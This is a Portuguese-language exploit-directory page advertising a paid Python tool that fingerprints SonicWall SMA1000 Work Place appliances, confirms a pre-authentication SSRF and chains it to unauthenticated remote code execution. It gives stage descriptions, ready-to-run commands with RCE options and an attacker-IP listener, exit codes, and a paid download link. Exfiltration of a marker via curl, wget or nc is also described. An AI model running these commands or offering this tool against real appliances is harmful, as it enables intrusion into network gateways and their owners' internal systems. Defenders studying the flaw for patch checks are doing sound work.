Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-83548 — Ferramenta Python de arquivo único que faz fingerprint de appliances SonicWall SMA1000 Work Place, sonda e confirma o SSRF pré-autenticação (CVE-2026-83548) via captura out-of-band e encadeia para RCE. | Kitploit
Ferramentas/GitHubGitHub/maxprog-svg/cve-2026-83548
ReconhecimentoScanners de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoTestes de PenetraçãoCavalo de Troia de Acesso Remoto
GitHubmaxprog-svg/cve-2026-83548

CVE-2026-83548

Ferramenta Python de arquivo único que faz fingerprint de appliances SonicWall SMA1000 Work Place, sonda e confirma o SSRF pré-autenticação (CVE-2026-83548) via captura out-of-band e encadeia para RCE.

Ver Repositório
3há 12 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-83548 — SSRF pré-autenticação no Work Place do SonicWall SMA1000

Ferramenta de ficheiro único (Python 3, apenas biblioteca padrão, zero dependências) para avaliar e explorar a SSRF de pré-autenticação na interface Work Place dos appliances SonicWall SMA1000 (6210 / 7210 / 8200v), incluindo uma cadeia oportunista para RCE não autenticado via CVE-2026-83549.

A vulnerabilidade

CVECVE-2026-83548 (SSRF, CWE-918/CWE-441), CVSS 10.0
CadeiaCVE-2026-83549 — injeção de comandos do SO no AMC (pós-autenticação), contornada através da SSRF
MecanismoA interface Work Place comporta-se como um proxy de encaminhamento não intencional: o appliance encaminha pedidos manipulados para recursos internos (incluindo o AMC) usando a sua própria posição privilegiada na rede, sem exigir autenticação em nenhuma fase
AfetadosSMA1000 ≤ 12.4.3-03453 e ≤ 12.5.0-02835
Corrigido12.4.3-03526 / 12.5.0-02952 (aviso SonicWall SNWLID-2026-0016)
EstadoExplorada ativamente em ambiente real; CISA KEV desde 2026-09-02; sem solução alternativa — apenas correção

O que a ferramenta faz (fases)

  • [A] Fingerprint + estado de correção — GET só de leitura da raiz do portal Work Place: banner Server: SMA/*, recursos __extraweb__, versão a partir de links de ajuda; classificação face às builds corrigidas (PATCHED / AFFECTED / POTENTIALLY_AFFECTED / NOT_SMA1000).
  • [B] Sondagem de vetores SSRF — testa um conjunto candidato de vetores de acionamento de SSRF (incluindo o caminho de relay /cgi-bin/ e a forma de proxy de encaminhamento "URI absoluto como caminho") e pontua anomalias face a uma linha de base: alteração do código de estado, diferença de latência, novos cabeçalhos de resposta, diferença no corpo. Vetores fornecidos pelo operador são aceites via --vector (repetível).
  • [C] Confirmação fora de banda — inicia um listener de captura local e aponta o melhor vetor para ele. Um pedido capturado (método/cabeçalhos/User-Agent encaminhado) prova que o appliance encaminhou o pedido — a vulnerabilidade real, não um artefacto de temporização.
  • [D] Cadeia RCE (CVE-2026-83549) — tentativa oportunista de injeção de comandos contra o AMC através do relay SSRF confirmado, com exfiltração de um marcador via curl/wget/nc. A confirmação requer uma captura fora de banda.

Início rápido

# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com

# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    --oob-timeout 5 vpn.example.com

# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
    --rce-cmd 'id' vpn.example.com

# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
    --vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
    -k -t 10 203.0.113.10

# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    vpn-a.example.com vpn-b.example.com

--attacker-ip — o IP a partir do qual o appliance deve conseguir alcançar o seu listener de captura (127.0.0.1 para verificações locais; um endereço visível na rede mais encaminhamento de portas para remoto). Sem ele, a ferramenta adivinha um IP local, o que muitas vezes não funciona em ambientes de containers/VPN.

Códigos de saída

CódigoSignificado
0corrigido / não afetado
1afetado por versão, ou SSRF confirmado, ou linha de firmware afetada com build exato indeterminado
2RCE não autenticado confirmado (cadeia bem-sucedida)
3o alvo não é um portal SMA1000 Work Place
4erro de conexão/outro

Limitações (leia isto)

  1. O Estágio D é oportunista: a confirmação exige uma captura fora de banda; a ausência de uma não é uma refutação.
  2. A captura OOB exige que o appliance consiga alcançar o seu listener (mesma L2 / encaminhamento de portas / VPN). Um timeout de captura ≠ SSRF refutado.
  3. Veredito de versão: o appliance normalmente expõe apenas a sua linha de firmware (por exemplo, 12.5.0) externamente, não o build exato do hotfix — o resultado comum é POTENTIALLY_AFFECTED, o que exige confirmar o build no próprio appliance.
  4. Os Estágios B–D enviam requisições ao alvo por design; use apenas contra hosts que você possui ou tem permissão explícita para testar.

https://satoshidisk.com/pay/CShhL9

Baixar ferramenta